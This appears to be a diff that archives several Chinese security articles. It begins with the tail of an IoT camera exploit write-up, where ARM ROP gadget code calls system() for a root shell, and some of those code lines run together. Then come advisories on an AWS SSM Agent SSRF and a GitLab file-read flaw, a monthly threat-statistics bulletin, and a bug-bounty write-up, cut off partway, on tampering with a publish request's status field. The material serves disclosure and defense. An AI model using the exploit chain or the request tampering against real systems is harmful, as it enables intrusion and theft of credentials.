*(r4 + 0x4) = r0 = *(ISALNUM_GOT - 0x4 + 0x4) = systemr6 = ISALNUM_PLT
|
||||
```
|
||||
|
||||
收尾：把栈指针放进 r0（第一个参数），再 call r6——之前已经塞好了 system
|
||||
路径（经篡改 GOT 的 PLT）。
|
||||
```
|
||||
# 0x0001fb04: mov r0, sp; blx r6;p += p32(0x1fb04)p += CMD.encode()p += b"\x00"
|
||||
```
|
||||
|
||||
实测：
|
||||
|
||||
|
||||
|
||||
最终 exploit：在目标设备拿到 root shell
|
||||
|
||||
RCE！
|
||||
### 为什么不直接……？
|
||||
|
||||
细心的读者会问：都是 32 位了，为什么不暴力猜 system()
|
||||
地址？确实可行——32 位地址空间比 64 位小得多，libc 可能落点也少很多。第一版 exploit 就是这么干的，能打。但试探正确地址的过程会不断打崩目标；红队场景下噪声太大，所以才改成更稳、更安静的这条链。
|
||||
## 收尾
|
||||
|
||||
从固件提取分析，到定位漏洞，再到利用，整条路径走完。希望读起来和我挖的时候一样有意思。
|
||||
|
||||
研究中发现的问题都走了负责任披露。感谢 INSTAR 响应迅速，很快修了并发布更新。90 天披露期已过，和这篇 writeup 一起，exploit 也公开在 这里。
|
||||
|
||||
更多 IoT / 车联网 / 机器人 / AI 安全资料在星球里，扫码进「车联网攻防日记」。
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,234 @@
|
||||
# 紧急安全预警｜AWS SSM Agent曝CVSS 9.9严重SSRF漏洞(CVE-2026-89049)，可窃取EC2临时IAM凭据
|
||||
tuto
|
||||
tuto 杂杂咱谈 2026-09-11 04:07
|
||||
|
||||
## 一、漏洞概述
|
||||
|
||||
AWS于2026年9月10日发布安全公告，修复AWS Systems Manager Agent(SSM Agent)中的严重安全漏洞CVE-2026-89049。
|
||||
|
||||
该漏洞存在于Session Manager Remote Host Port Forwarding功能中。漏洞源于SSM Agent对不同形式的等价IP地址表示验证不充分，导致攻击者能够绕过远程目标地址的denylist。
|
||||
|
||||
如果攻击者已经拥有AWS身份认证，并具备Session Manager端口转发权限，便可能利用该缺陷访问EC2实例的link-local服务。
|
||||
|
||||
其中最危险的场景应该是访问EC2 Instance Metadata Service，进而获取该实例的临时IAM Role凭据，并从实例外部使用这些凭据调用AWS API。
|
||||
|
||||
AWS官方确认，受影响版本为3.3.4851.0以下的所有支持Remote Host Port Forwarding的SSM Agent版本。
|
||||
## 二、漏洞基本信息
|
||||
<table><thead><tr><th style="text-align: left;"><section><span leaf=""><span textstyle="" style="font-size: 16px">项目</span></span></section></th><th style="text-align: left;"><section><span leaf=""><span textstyle="" style="font-size: 16px">信息</span></span></section></th></tr></thead><tbody><tr><td style="text-align: left;"><section><span leaf=""><span textstyle="" style="font-size: 16px; font-weight: 500">漏洞编号</span></span></section></td><td style="text-align: left;"><section><span leaf=""><span textstyle="" style="font-size: 16px">CVE-2026-89049</span></span></section></td></tr><tr><td style="text-align: left;"><section><span leaf=""><span textstyle="" style="font-size: 16px; font-weight: 500">漏洞类型</span></span></section></td><td style="text-align: left;"><section><span leaf=""><span textstyle="" style="font-size: 16px">SSRF</span></span></section></td></tr><tr><td style="text-align: left;"><section><span leaf=""><span textstyle="" style="font-size: 16px; font-weight: 500">严重程度</span></span></section></td><td style="text-align: left;"><section><span leaf=""><span textstyle="" style="font-size: 16px">Critical</span></span></section></td></tr><tr><td style="text-align: left;"><section><span leaf=""><span textstyle="" style="font-size: 16px; font-weight: 500">CVSS</span></span></section></td><td style="text-align: left;"><section><span leaf=""><span textstyle="" style="font-size: 16px">9.9</span></span></section></td></tr><tr><td style="text-align: left;"><section><span leaf=""><span textstyle="" style="font-size: 16px; font-weight: 500">攻击条件</span></span></section></td><td style="text-align: left;"><section><span leaf=""><span textstyle="" style="font-size: 16px">需要经过身份认证</span></span></section></td></tr><tr><td style="text-align: left;"><section><span leaf=""><span textstyle="" style="font-size: 16px; font-weight: 500">所需权限</span></span></section></td><td style="text-align: left;"><section><span leaf=""><span textstyle="" style="font-size: 16px">Session Manager Remote Host Port Forwarding 权限</span></span></section></td></tr><tr><td style="text-align: left;"><section><span leaf=""><span textstyle="" style="font-size: 16px; font-weight: 500">受影响组件</span></span></section></td><td style="text-align: left;"><section><span leaf=""><span textstyle="" style="font-size: 16px">AWS Systems Manager Agent</span></span></section></td></tr><tr><td style="text-align: left;"><section><span leaf=""><span textstyle="" style="font-size: 16px; font-weight: 500">受影响版本</span></span></section></td><td style="text-align: left;"><code><span leaf=""><span textstyle="" style="font-size: 16px">< 3.3.4851.0</span></span></code></td></tr><tr><td style="text-align: left;"><section><span leaf=""><span textstyle="" style="font-size: 16px; font-weight: 500">修复版本</span></span></section></td><td style="text-align: left;"><section><span leaf=""><span textstyle="" style="font-size: 16px; font-weight: 500">3.3.4851.0</span></span></section></td></tr><tr><td style="text-align: left;"><section><span leaf=""><span textstyle="" style="font-size: 16px; font-weight: 500">主要影响</span></span></section></td><td style="text-align: left;"><section><span leaf=""><span textstyle="" style="font-size: 16px">绕过目标地址限制、访问链路本地服务、获取临时IAM凭据</span></span></section></td></tr><tr><td style="text-align: left;"><section><span leaf=""><span textstyle="" style="font-size: 16px; font-weight: 500">公告编号</span></span></section></td><td style="text-align: left;"><section><span leaf=""><span textstyle="" style="font-size: 16px">2026-107-AWS</span></span></section></td></tr><tr><td style="text-align: left;"><section><span leaf=""><span textstyle="" style="font-size: 16px; font-weight: 500">发布时间</span></span></section></td><td style="text-align: left;"><section><span leaf=""><span textstyle="" style="font-size: 16px">2026年9月10日</span></span></section></td></tr></tbody></table>
|
||||
AWS官方将漏洞描述为
|
||||
远程主机端口转发功能中的SSRF，并确认攻击者可能借此获取受管实例的临时IAM Role凭据。
|
||||
## 三、漏洞原理
|
||||
|
||||
SSM Agent支持通过AWS Systems Manager Session Manager建立端口转发连接，其中包括将连接转发至远程主机。
|
||||
|
||||
为了防止攻击者利用端口转发访问不应该访问的内部服务，SSM Agent对目标地址实施了denylist限制访问。
|
||||
|
||||
问题在于，SSM Agent对不同但实际上指向同一目标的IP地址表示方式验证不充分。
|
||||
|
||||
攻击者可以利用不同的地址表示形式绕过目标地址限制，使原本应该被阻止的请求最终访问实例上的link-local endpoint。
|
||||
|
||||
简化理解：
|
||||
```
|
||||
正常请求
|
||||
攻击者
|
||||
↓
|
||||
Session Manager
|
||||
↓
|
||||
Remote Host Port Forwarding
|
||||
↓
|
||||
目标地址检查
|
||||
↓
|
||||
发现目标属于禁止访问范围
|
||||
↓
|
||||
拒绝连接
|
||||
```
|
||||
|
||||
而利用漏洞后：
|
||||
```
|
||||
攻击者
|
||||
↓
|
||||
Session Manager
|
||||
↓
|
||||
Remote Host Port Forwarding
|
||||
↓
|
||||
构造等价但不同形式的IP地址
|
||||
↓
|
||||
绕过denylist
|
||||
↓
|
||||
访问Link-local服务
|
||||
```
|
||||
|
||||
AWS官方明确指出，该问题来自对等价地址表示形式验证不当。
|
||||
## 四、完整攻击链
|
||||
|
||||
此次漏洞真正危险的地方并不仅仅是SSRF，而是它可以进一步触及EC2 Instance Metadata Service来扩大攻击面。
|
||||
|
||||
完整攻击链可以概括为：
|
||||
```
|
||||
已认证攻击者
|
||||
↓
|
||||
拥有Port Forwarding权限
|
||||
↓
|
||||
AWS Systems Manager Session Manager
|
||||
↓
|
||||
Remote Host Port Forwarding
|
||||
↓
|
||||
构造特殊IP地址表示
|
||||
↓
|
||||
绕过目标地址Denylist
|
||||
↓
|
||||
访问EC2 Link-local服务
|
||||
↓
|
||||
Instance Metadata Service(IMDS)
|
||||
↓
|
||||
获取临时IAM Role Credentials
|
||||
↓
|
||||
从实例外部使用IAM凭据
|
||||
↓
|
||||
调用AWS API
|
||||
↓
|
||||
执行该IAM Role允许的云资源操作
|
||||
```
|
||||
### 核心风险
|
||||
|
||||
因此，这并不是简单的"读取内部HTTP服务"的SSRF。
|
||||
|
||||
一旦攻击者能够获得EC2实例关联的临时IAM凭据，后续能够执行什么操作将取决于该实例IAM Role所拥有的权限。
|
||||
|
||||
如果IAM Role权限过大，攻击影响范围可能进一步扩大至：
|
||||
- S3 数据；
|
||||
|
||||
- EC2 资源；
|
||||
|
||||
- Lambda；
|
||||
|
||||
- Secrets Manager；
|
||||
|
||||
- Systems Manager；
|
||||
|
||||
- CloudWatch；
|
||||
|
||||
- IAM 相关资源；
|
||||
|
||||
- 其他 AWS 云服务。
|
||||
|
||||
因此，漏洞本身与IAM权限配置共同决定最终影响范围。
|
||||
## 五、影响范围
|
||||
|
||||
AWS官方确认SSM Agent<3.3.4851.0且仅针对支持Remote Host Port Forwarding的版本。
|
||||
|
||||
需要重点排查：
|
||||
- 使用AWS EC2的环境；
|
||||
|
||||
- 安装SSM Agent的EC2实例；
|
||||
|
||||
- 使用AWS Systems Manager Session Manager的环境；
|
||||
|
||||
- 使用AWS-StartPortForwardingSessionToRemoteHost文档的环境
|
||||
；
|
||||
|
||||
- 为用户授予ssm:StartSession权限的IAM策略
|
||||
；
|
||||
|
||||
- 允许非可信用户创建Remote Host Port Forwarding Session的环境。
|
||||
|
||||
## 六、临时缓解措施
|
||||
|
||||
如果暂时无法升级SSM Agent，AWS官方建议限制:
|
||||
|
||||
AWS-StartPortForwardingSessionToRemoteHost使用权限。
|
||||
|
||||
具体而言，应收紧：
|
||||
- ssm:StartSessionIAM 权限；
|
||||
|
||||
- SSM Document 权限；
|
||||
|
||||
- Remote Host Port Forwarding Session 的启动权限。
|
||||
|
||||
确保
|
||||
不受信任的IAM Principal无法创建远程主机端口转发会话
|
||||
。
|
||||
|
||||
不过，这属于临时缓解措施，
|
||||
不能替代升级SSM Agent
|
||||
。
|
||||
## 七、修复方案
|
||||
|
||||
AWS已在SSM Agent 3.3.4851.0中修复该漏洞。
|
||||
|
||||
建议立即将所有受影响的SSM Agent升级到3.3.4851.0或更高版本。如果企业维护了SSM Agent的fork或衍生版本，也需要同步引入相关安全修复。
|
||||
|
||||
同时建议检查实例IAM Role，避免因为过度授权导致漏洞利用后的影响进一步扩大。
|
||||
## 八、安全排查建议
|
||||
|
||||
对于已经运行旧版SSM Agent的企业，建议重点检查：
|
||||
### 1. SSM Agent版本
|
||||
|
||||
确认EC2实例上的SSM Agent < 3.3.4851.0是否仍然存在。
|
||||
### 2. Session Manager权限
|
||||
|
||||
重点搜索：
|
||||
```
|
||||
ssm:StartSession
|
||||
```
|
||||
|
||||
以及与：
|
||||
```
|
||||
AWS-StartPortForwardingSessionToRemoteHost
|
||||
```
|
||||
|
||||
相关的IAM Policy。
|
||||
### 3. IAM Role权限
|
||||
|
||||
检查存在Remote Host Port Forwarding权限的用户或角色是否同时拥有：
|
||||
- S3 读取权限；
|
||||
|
||||
- Secrets Manager 权限；
|
||||
|
||||
- EC2 管理权限；
|
||||
|
||||
- IAM 权限；
|
||||
|
||||
- Lambda 管理权限；
|
||||
|
||||
- Systems Manager 管理权限等。
|
||||
|
||||
如果实例IAM Role存在过度授权，应立即进行最小权限化。
|
||||
### 4. 日志审计
|
||||
- Session Manager 会话；
|
||||
|
||||
- StartSession调用；
|
||||
- Remote Host Port Forwarding；
|
||||
|
||||
- IAM 凭据异常使用；
|
||||
|
||||
- 来自异常 IP/地理位置的 AWS API 调用；
|
||||
|
||||
- 短时间内大量 AWS API 请求。
|
||||
|
||||
## 九、披露与修复时间线
|
||||
<table><thead><tr><th style="text-align: left;"><section><span leaf=""><span textstyle="" style="font-size: 16px">时间</span></span></section></th><th style="text-align: left;"><section><span leaf=""><span textstyle="" style="font-size: 16px">事件</span></span></section></th></tr></thead><tbody><tr><td style="text-align: left;"><section><span leaf=""><span textstyle="" style="font-size: 16px; font-weight: 500">2026年9月10日</span></span></section></td><td style="text-align: left;"><section><span leaf=""><span textstyle="" style="font-size: 16px">AWS 发布安全公告 </span><span textstyle="" style="font-size: 16px; font-weight: 500">2026-107-AWS</span></span></section></td></tr><tr><td style="text-align: left;"><section><span leaf=""><span textstyle="" style="font-size: 16px; font-weight: 500">2026年9月10日</span></span></section></td><td style="text-align: left;"><section><span leaf=""><span textstyle="" style="font-size: 16px">公布 </span><span textstyle="" style="font-size: 16px; font-weight: 500">CVE-2026-89049</span></span></section></td></tr><tr><td style="text-align: left;"><section><span leaf=""><span textstyle="" style="font-size: 16px; font-weight: 500">2026年9月10日</span></span></section></td><td style="text-align: left;"><section><span leaf=""><span textstyle="" style="font-size: 16px">AWS 发布 SSM Agent </span><span textstyle="" style="font-size: 16px; font-weight: 500">3.3.4851.0</span><span textstyle="" style="font-size: 16px"> 修复版本</span></span></section></td></tr><tr><td style="text-align: left;"><section><span leaf=""><span textstyle="" style="font-size: 16px; font-weight: 500">当前</span></span></section></td><td style="text-align: left;"><section><span leaf=""><span textstyle="" style="font-size: 16px">建议所有受影响环境立即升级，并限制 Remote Host Port Forwarding 权限</span></span></section></td></tr></tbody></table>
|
||||
AWS官方公告确认发布日期为
|
||||
2026年9月10日11:30 AM PDT
|
||||
。
|
||||
## 十、总结
|
||||
|
||||
CVE-2026-89049的危险性在于，它将SSM Session Manager的合法远程运维能力、SSRF、EC2内部服务以及IAM临时凭据串联起来。
|
||||
|
||||
核心攻击链可概括为：
|
||||
> 已认证用户 + 端口转发权限 → Session Manager → Remote Host Port Forwarding → SSRF/Denylist绕过 → EC2 Metadata → 临时IAM凭据 → AWS API访问
|
||||
|
||||
|
||||
因此，企业不能仅仅将其视为普通SSRF漏洞。
|
||||
|
||||
使用AWS EC2+Systems Manager的组织，应优先检查SSM Agent版本、Session Manager权限和实例IAM Role，并将SSM Agent升级至3.3.4851.0或更高版本。
|
||||
|
||||
|
||||
https://aws.amazon.com/tr/security/security-bulletins/2026-107-aws/
|
||||
|
||||
[#Simple]()
|
||||
[#AWS]()
|
||||
[#CVE]()
|
||||
-2026-89049 [#SSRF]()
|
||||
|
||||
|
||||
@@ -0,0 +1,235 @@
|
||||
# 紧急安全预警｜GitLab曝CVSS 10.0严重漏洞(CVE-2026-85706)，未认证攻击者可读取任意文件
|
||||
tuto
|
||||
tuto 杂杂咱谈 2026-09-11 03:00
|
||||
|
||||
## 一、漏洞概述
|
||||
|
||||
GitLab于2026年9月10日发布安全更新，修复18个安全漏洞，涉及GitLab CE和EE。
|
||||
|
||||
其中最严重的是CVE-2026-85706，CVSS评分达到10.0(Critical)。该漏洞属于未认证路径遍历/任意文件读取漏洞，由于仓库Commit API存在访问控制缺陷，未认证攻击者可构造恶意请求读取GitLab服务器上的任意文件。
|
||||
|
||||
GitLab官方强烈建议所有自托管GitLab用户立即升级至修复版本。
|
||||
> 核心风险: 未认证访问 → 路径遍历 → 读取服务器敏感文件 → 可能进一步暴露系统配置、凭据及其他敏感信息。
|
||||
|
||||
## 二、核心漏洞: CVE-2026-85706
|
||||
### 1. 路径遍历与任意文件读取
|
||||
|
||||
CVE-2026-85706
|
||||
- CVSS: 10.0 Critical
|
||||
|
||||
- 攻击条件: 无需认证
|
||||
|
||||
- 漏洞类型: 路径遍历/访问控制缺陷
|
||||
|
||||
- 影响组件: Repository Commits API
|
||||
|
||||
- 主要影响: 任意文件读取
|
||||
|
||||
漏洞源于GitLab Repository Commits Endpoint对文件路径的限制不足，同时缺少有效的身份认证检查。
|
||||
|
||||
攻击者无需拥有GitLab账户，即可向相关API发送经过构造的Web请求，尝试读取GitLab服务器上的任意文件。
|
||||
|
||||
潜在暴露的信息包括：
|
||||
- 系统配置文件
|
||||
|
||||
- GitLab 服务配置
|
||||
|
||||
- 数据库连接信息
|
||||
|
||||
- API Token
|
||||
|
||||
- 密钥及凭据
|
||||
|
||||
- 服务器上的其他敏感文件
|
||||
|
||||
因此，该漏洞不仅可能造成敏感信息泄露，还可能成为后续攻击的起点。
|
||||
## 三、其他高危漏洞
|
||||
### CVE-2026-87719: 不安全反序列化
|
||||
|
||||
CVSS: 9.9
|
||||
|
||||
该漏洞存在于Duo Chat相关功能。
|
||||
|
||||
攻击者需要具备身份认证，并拥有Duo Chat访问权限，通过构造特殊的GraphQL Subscription参数，可绕过序列化机制并执行服务器对象查找，从而获取Advanced Search实例配置以及敏感凭据。
|
||||
|
||||
攻击链可概括为：
|
||||
```
|
||||
已认证用户
|
||||
↓
|
||||
访问 Duo Chat
|
||||
↓
|
||||
构造恶意 GraphQL Subscription 参数
|
||||
↓
|
||||
绕过序列化限制
|
||||
↓
|
||||
服务器对象查找
|
||||
↓
|
||||
获取 Advanced Search 配置及敏感凭据
|
||||
```
|
||||
### CVE-2026-88765: 缓冲区溢出
|
||||
|
||||
CVSS: 8.5
|
||||
|
||||
该漏洞与Git项目导入及搜索索引处理有关。
|
||||
|
||||
经过身份认证的攻击者可以导入经过恶意构造的Git项目导出文件，在搜索索引过程中触发内存缓冲区溢出。
|
||||
|
||||
该内存破坏可能进一步导致: 在GitLab主机服务器上执行任意系统代码。
|
||||
|
||||
因此，该漏洞具备进一步发展为服务器级代码执行的风险。
|
||||
## 四、完整攻击风险
|
||||
|
||||
针对本次漏洞，尤其需要关注GitLab作为企业软件供应链核心基础设施所带来的影响。
|
||||
|
||||
一个典型风险链可以概括为：
|
||||
```
|
||||
互联网暴露的GitLab
|
||||
↓
|
||||
未认证访问
|
||||
↓
|
||||
CVE-2026-85706
|
||||
↓
|
||||
路径遍历
|
||||
↓
|
||||
读取服务器任意文件
|
||||
↓
|
||||
获取敏感配置/凭据
|
||||
↓
|
||||
进一步攻击GitLab基础设施
|
||||
↓
|
||||
影响代码仓库与CI/CD
|
||||
↓
|
||||
潜在供应链攻击
|
||||
```
|
||||
|
||||
如果攻击者能够进一步获得GitLab管理权限、Runner凭据、云平台密钥或CI/CD Token，则影响范围可能从单一GitLab服务器扩大到整个软件开发与交付环境。
|
||||
## 五、为什么GitLab漏洞风险特别值得关注？
|
||||
|
||||
GitLab不仅承担代码托管功能，还可能同时保存：
|
||||
- 企业源代码
|
||||
|
||||
- 私有项目
|
||||
|
||||
- CI/CD Pipeline
|
||||
|
||||
- Runner 配置
|
||||
|
||||
- Deployment Token
|
||||
|
||||
- 云平台凭据
|
||||
|
||||
- API Token
|
||||
|
||||
- 容器镜像
|
||||
|
||||
- 软件发布流程
|
||||
|
||||
- 内部项目及技术文档
|
||||
|
||||
因此，一旦攻击者突破GitLab服务器，影响可能不仅是代码泄露，还可能进一步影响企业的软件供应链。
|
||||
|
||||
攻击者甚至可能修改CI/CD流程或构建过程，将恶意代码植入最终的软件或容器镜像。
|
||||
## 六、受影响版本
|
||||
|
||||
CVE-2026-85706
|
||||
影响以下GitLab CE/EE版本：
|
||||
<table><thead><tr><th style="text-align: left;"><section><span leaf=""><span textstyle="" style="font-size: 16px">GitLab版本</span></span></section></th><th style="text-align: left;"><section><span leaf=""><span textstyle="" style="font-size: 16px">状态</span></span></section></th></tr></thead><tbody><tr><td style="text-align: left;"><section><span leaf=""><span textstyle="" style="font-size: 16px; font-weight: 500">18.7 ≤ 版本 < 19.1.8</span></span></section></td><td style="text-align: left;"><section><span leaf=""><span textstyle="" style="font-size: 16px">受影响</span></span></section></td></tr><tr><td style="text-align: left;"><section><span leaf=""><span textstyle="" style="font-size: 16px; font-weight: 500">19.2 < 19.2.6</span></span></section></td><td style="text-align: left;"><section><span leaf=""><span textstyle="" style="font-size: 16px">受影响</span></span></section></td></tr><tr><td style="text-align: left;"><section><span leaf=""><span textstyle="" style="font-size: 16px; font-weight: 500">19.3 < 19.3.2</span></span></section></td><td style="text-align: left;"><section><span leaf=""><span textstyle="" style="font-size: 16px">受影响</span></span></section></td></tr><tr><td style="text-align: left;"><section><span leaf=""><span textstyle="" style="font-size: 16px; font-weight: 500">19.1.8</span></span></section></td><td style="text-align: left;"><section><span leaf=""><span textstyle="" style="font-size: 16px">已修复</span></span></section></td></tr><tr><td style="text-align: left;"><section><span leaf=""><span textstyle="" style="font-size: 16px; font-weight: 500">19.2.6</span></span></section></td><td style="text-align: left;"><section><span leaf=""><span textstyle="" style="font-size: 16px">已修复</span></span></section></td></tr><tr><td style="text-align: left;"><section><span leaf=""><span textstyle="" style="font-size: 16px; font-weight: 500">19.3.2</span></span></section></td><td style="text-align: left;"><section><span leaf=""><span textstyle="" style="font-size: 16px">已修复</span></span></section></td></tr></tbody></table>
|
||||
建议升级至GitLab 19.3.2/19.2.6/19.1.8
|
||||
|
||||
GitLab.com云端服务已经运行修复后的版本；
|
||||
## 七、漏洞披露与修复情况
|
||||
- 2026年9月10日: GitLab 发布安全更新；
|
||||
|
||||
- 2026年9月10日: 一次性修复18个安全漏洞；
|
||||
|
||||
- CVE-2026-85706: CVSS 10.0，属于本次更新中最严重的漏洞；
|
||||
|
||||
- CVE-2026-87719: CVSS 9.9；
|
||||
|
||||
- CVE-2026-88765: CVSS 8.5；
|
||||
|
||||
- 截至原文发布时，
|
||||
尚未发现公开PoC；
|
||||
|
||||
- 尚无确认的在野利用活动。
|
||||
|
||||
GitLab官方披露机制显示，GitLab会在修复漏洞后按照其披露流程公开漏洞信息；GitLab本身也是MITRE CVE编号机构。
|
||||
## 八、修复与缓解建议
|
||||
### 1. 立即升级
|
||||
|
||||
自托管GitLab管理员应优先升级到：
|
||||
```
|
||||
GitLab 19.3.2
|
||||
GitLab 19.2.6
|
||||
GitLab 19.1.8
|
||||
```
|
||||
|
||||
不要继续运行受影响版本。
|
||||
### 2. 检查互联网暴露
|
||||
- GitLab Web 服务是否直接暴露公网；
|
||||
|
||||
- Repository API 是否可被互联网访问；
|
||||
|
||||
- GitLab 管理端口是否暴露；
|
||||
|
||||
- 是否存在不必要的公网访问来源。
|
||||
|
||||
### 3. 临时限制访问
|
||||
|
||||
如果暂时无法完成升级，可以通过：
|
||||
- VPN
|
||||
|
||||
- 防火墙
|
||||
|
||||
- IP Allowlist
|
||||
|
||||
- 反向代理访问控制
|
||||
|
||||
限制自托管GitLab的网络访问范围。
|
||||
|
||||
这些措施只能降低攻击面，不能替代漏洞修复。
|
||||
### 4. 检查潜在泄露
|
||||
|
||||
对于已经暴露公网且运行受影响版本的GitLab，需检查：
|
||||
- GitLab API 异常访问日志；
|
||||
|
||||
- 异常文件读取请求；
|
||||
|
||||
- 异常 Repository API 请求；
|
||||
|
||||
- 管理员账户登录记录；
|
||||
|
||||
- API Token 使用情况；
|
||||
|
||||
- CI/CD Runner 凭据；
|
||||
|
||||
- 云平台 Access Key；
|
||||
|
||||
- SSH Key；
|
||||
|
||||
- Deploy Token；
|
||||
|
||||
- Pipeline 配置是否被异常修改。
|
||||
|
||||
如果发现敏感凭据存在异常读取迹象，应进一步进行
|
||||
凭据轮换
|
||||
。
|
||||
## 九、结论
|
||||
|
||||
本次GitLab安全更新中，最值得关注的是CVE-2026-85706
|
||||
：
|
||||
> CVSS 10.0 + 未认证访问 + 路径遍历 + 任意文件读取
|
||||
|
||||
|
||||
与此同时，GitLab还修复了CVSS 9.9的不安全反序列化漏洞以及CVSS 8.5的缓冲区溢出漏洞。
|
||||
|
||||
对于企业而言，GitLab往往处于软件供应链的核心位置，因此其安全风险并不仅限于单台服务器。一旦GitLab服务器或其中保存的凭据遭到攻击，可能进一步影响代码仓库、CI/CD、云基础设施以及最终软件供应链。
|
||||
|
||||
建议所有使用自托管GitLab CE/EE的组织立即核对版本，并优先升级至19.3.2、19.2.6或19.1.8。
|
||||
|
||||
|
||||
[#Simple]()
|
||||
[#Gitlab]()
|
||||
[#CVE]()
|
||||
-2026-85706
|
||||
|
||||
@@ -0,0 +1,91 @@
|
||||
# 能信安：8月安全漏洞态势汇总
|
||||
能信安资讯 2026-09-11 02:54
|
||||
|
||||
# 网络安全预警通报安全漏洞态势 2026年9月11日
|
||||
|
||||
|
||||
安全漏洞态势
|
||||
|
||||
发布时间：2026.08.31
|
||||
|
||||
数据来源：CNVD
|
||||
|
||||
2026年8月，CNVD收集整理信息系统安全漏洞1903个。按漏洞威胁程度划分，高危漏洞1109个，可被利用来实施远程攻击的漏洞836个，零日漏洞904个。
|
||||
|
||||
|
||||
|
||||
2026年8月，信息系统安全漏洞与上月相比下降4.32%，高危漏洞与上月相比上升4.33%，可被利用来实施远程攻击的漏洞与上月相比上升5.16%，零日漏洞与上月相比上升3.67%。
|
||||
|
||||
|
||||
|
||||
|
||||
木马病毒态
|
||||
势
|
||||
|
||||
发布时间：2026.08.31
|
||||
|
||||
数据来源：CNCERT
|
||||
|
||||
2026年8月，境内近818万个IP地址对应的主机被木马或僵尸程序控制，与上月相比下降4.55%。
|
||||
|
||||
|
||||
|
||||
2026年8月，8月份放马站点域名注册所属境内外分布如下。其中，境外放马站点域名注册为21.16%，境内放马站点域名注册为39.16%，未知地区为39.68%。
|
||||
|
||||
|
||||
|
||||
|
||||
网站安全态势
|
||||
|
||||
发布时间：2026.08.31
|
||||
|
||||
数据来源：CNCERT
|
||||
|
||||
2026年8月，境内被篡改网站数量为812个，较上月减少10.96%；境内被植入后门的网站数量为534个，较上月增加26.54%；针对境内网站的仿冒页面数量为514个，较上月减少2.65%。
|
||||
|
||||
|
||||
|
||||
2026年8月，境内被篡改网站的数量中，被篡改数量最多的依旧是.COM域名类网站；被篡改的.GOV域名类网站有10个，占境内被篡改网站的比例为1.23%。
|
||||
|
||||
2026年8月，境内被植入后门的网站数量为534个，被植入后门数量最多的是.COM域名类网站；被植入后门的.GOV域名类网站有10个，占境内被植入后门网站的比例为1.87%。
|
||||
|
||||
|
||||
安全事件态势
|
||||
|
||||
发布时间：2026.08.31
|
||||
|
||||
数据来源：CNCERT
|
||||
|
||||
2026年8月，CNCERT接收到网络安全事件报告2902件，数量最多的分别是漏洞类事件1549件、恶意程序类事件73件，其他类事件1280件。
|
||||
|
||||
|
||||
|
||||
2026年8月，网络安全事件报告较上月减少4.00%，漏洞类事件较上月减少20.24%，恶意程序类事件较上月增加32.73%，其他事件较上月增加24.76%。
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
▼
|
||||
|
||||
**能信安——新一代网络安全领先企业！**
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
**公司简介**
|
||||
|
||||
|
||||
|
||||
深圳市能信安科技股份有限公司，是以安全、移动、泛在和大数据为主要方向的专业技术公司，致力于移动互联安全、车联网安全、物联网安全、大数据安全和人工智能安全技术。
|
||||
|
||||
公司是公安部、工信部网络安全技术支撑单位，国家网络安全威胁和漏洞信息共享平台技术支
|
||||
撑单位，是深圳大运会、党的十八大、2020年全国两会、2021年联合国生物多样性大会网络安全技术支撑单位。公司是国家级专精特新“小巨人”企业，中国移动安全十强企业，全国网络安全百强企业，具有良好的品牌影响力。
|
||||
|
||||
公司为中国新一代网络安全领先企业。在移动安全领域，公司可提供业界最先进、完整的技术、产品与解决方案，引领移动互联安全的技术潮流。主要产品及服务包括移动应用安全防火墙、无线安全检测及防御系统、移动应用安全检测及加固技术等。在数据安全领域，提供业界领先的数据安全治理、数据安全合格产品与服务。
|
||||
|
||||
公司依托于多年网络安全领域的技术经验及专业资质，向各类政府机关及企事业单位提供等级（分级）保护顾问咨询、关基保护顾问咨询、数据安全治理、密码改造顾问咨询、信息系统风险评估、安全体系建设咨询、修复加固服务、渗透测试服务、应急响应服务、安全运维保障服务。
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,129 @@
|
||||
# 表单提交下的越权删除漏洞
|
||||
Adhamkhairy
|
||||
Adhamkhairy 漏洞集萃 2026-09-11 03:11
|
||||
|
||||
|
||||
|
||||
> **本公众号所发布的文章内容仅供学习与交流使用，禁止用于任何非法用途；如有侵权烦请告知，我们会立即删除并致歉，谢谢**
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
1.
|
||||
|
||||
1.
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
在测试一个私有漏洞赏金计划时，我遇到了一个
|
||||
|
||||
|
||||
|
||||
```
|
||||
作者: Adhamkhairy原文链接: https://0xsponge.medium.com/how-i-got-my-first-bounty-70cd498b9fc5
|
||||
```
|
||||
|
||||
|
||||
在进行大规模子域名枚举时，我发现了一个名为 **inspire.example.com**
|
||||
的子域名，该子域名专门用于收集网站设计灵感。其核心功能允许用户通过表单提交设计创意，并等待管理员审核和批准。
|
||||
|
||||
|
||||
但我是呢？难道我还要等管理员批准吗？不，我不得不绕过这个流程。
|
||||
|
||||
|
||||
在检查端点时，我发现点击“发布”按钮会向 /example/api_path/publish该端点，并携带以下数据： {"id":"inspiration-post-id","status":"Denied"}
|
||||
|
||||
于是我心想——干脆把“拒绝”改成“批准”，看看服务器会不会盲目地相信它？
|
||||
|
||||
|
||||
令人惊讶的是，服务器竟然在未进行任何验证的情况下就相信了我的请求！！！
|
||||
|
||||
|
||||
但当我提交报告后，他们将其标记为“低优先级”。他们的理由是，管理员会定期审查帖子，并大约每20分钟删除一次。
|
||||
|
||||
|
||||
因此，我决定必须让这个漏洞变得更值得悬赏，并放大其影响。
|
||||
|
||||
于是，我开始深入研究该 /example/api_path/publish
|
||||
该端点进行更深入的探究。我再次尝试复现该漏洞，在第一次请求返回后 {"success":true,"newStatus":"Approved"}
|
||||
后，我再次发送了相同的请求。这次，服务器返回了 {"success":true,"newStatus":"Unpublished"}
|
||||
.
|
||||
|
||||
嗯……有意思。
|
||||
|
||||
于是我不禁想——我能否将 ID 改为任何其他文章的 ID，然后将其设为“未发布”？但有一个问题：我该如何获取那个随机的 ID 呢？
|
||||
|
||||
|
||||
